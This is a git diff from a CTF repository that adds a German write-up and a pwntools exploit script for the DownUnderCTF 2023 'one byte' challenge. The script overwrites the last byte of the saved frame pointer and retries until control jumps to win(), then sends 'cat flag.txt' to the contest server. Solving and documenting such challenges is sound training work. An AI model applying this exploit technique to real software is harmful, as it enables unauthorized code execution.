diff --git a/.gitignore b/.gitignore index 43c5aa62..28b4664b 100644 --- a/.gitignore +++ b/.gitignore @@ -1,3 +1,4 @@ ghidra* hydra.restore .idea +core diff --git a/DownUnderCTF 2023/beginner/one byte/README.md b/DownUnderCTF 2023/beginner/one byte/README.md index 14bd794a..1288087c 100644 --- a/DownUnderCTF 2023/beginner/one byte/README.md +++ b/DownUnderCTF 2023/beginner/one byte/README.md @@ -40,6 +40,49 @@ int main() { Das Ziel ist recht eindeutig. Wir kontrollieren 1 Byte und sollen einen Sprung nach win() bewirken. +Das Byte, welches wir overflown können überschreibt einen teil des safe frame pointers. + # Lösung -#TODO \ No newline at end of file +Wir füllen unseren Buffer der Größe 0x10 also 4x mit der Adresse von win, die wir aus dem leek berechnen. +danach überschreiben wir das letzte Byte vom sfp mit 0x80 (zufall). Da es nicht sicher ist, dass einer unserer pointer an einer Adresse mit 0x80 am ende liegt, daher führen wir das so oft aus, bis wir die flagge bekommen: + +```python +from pwn import * +import os + +os.environ["PWNLIB_DEBUG"] = "1" + +gs = ''' +unset env LINES +unset env COLUMNS +set follow-fork-mode child +br *main+93 +c +''' + +elf = ELF(os.getcwd()+"/onebyte") + +def start(): + if args.GDB: + return gdb.debug(elf.path, gs) + if args.REMOTE: + return remote("2023.ductf.dev", 30018) + else: + return process(elf.path) + +while True: + io = start() + + io.recvuntil("Free junk: ") + x = io.recvline() + x = int(x[2:-1],16) + + print(hex(x)) + + print(io.recvuntil("Your turn: ")) + # io.send(p32(x+70)+ cyclic(8) + p32(x+70)) + io.send(p32(x+70) +p32(x+70) +p32(x+70) + p32(x+70) + b"\x80") + io.sendline(b"cat flag.txt") + print(io.recvall(timeout=2)) # if timeout triggers, we got the flag +``` \ No newline at end of file diff --git a/DownUnderCTF 2023/beginner/one byte/onebyte b/DownUnderCTF 2023/beginner/one byte/onebyte old mode 100644 new mode 100755 diff --git a/DownUnderCTF 2023/beginner/one byte/onebyte.py b/DownUnderCTF 2023/beginner/one byte/onebyte.py index b94dd23f..f4486e32 100644 --- a/DownUnderCTF 2023/beginner/one byte/onebyte.py +++ b/DownUnderCTF 2023/beginner/one byte/onebyte.py @@ -1,15 +1,17 @@ from pwn import * import os +os.environ["PWNLIB_DEBUG"] = "1" + gs = ''' unset env LINES unset env COLUMNS set follow-fork-mode child -br *main +br *main+93 c ''' -elf = ELF(os.getcwd()+"/downunderflow") +elf = ELF(os.getcwd()+"/onebyte") def start(): if args.GDB: @@ -17,12 +19,27 @@ def start(): if args.REMOTE: return remote("2023.ductf.dev", 30018) else: - return process(os.getcwd()+"/downunderflow") + return process(elf.path) -io = start() +while True: + io = start() -print(io.recvuntil("Your turn: ")) -io.send(cyclic(11)) + io.recvuntil("Free junk: ") + x = io.recvline() + x = int(x[2:-1],16) + print(hex(x)) -io.interactive() \ No newline at end of file + print(io.recvuntil("Your turn: ")) + # io.send(p32(x+70)+ cyclic(8) + p32(x+70)) + io.send(p32(x+70) +p32(x+70) +p32(x+70) + p32(x+70) + b"\x80") + io.sendline(b"cat flag.txt") + print(io.recvall(timeout=2)) + # break + # try: + # io.send(b"id") + # print(io.recvline()) + # io.interactive() + # except: + # io.close() + # continue \ No newline at end of file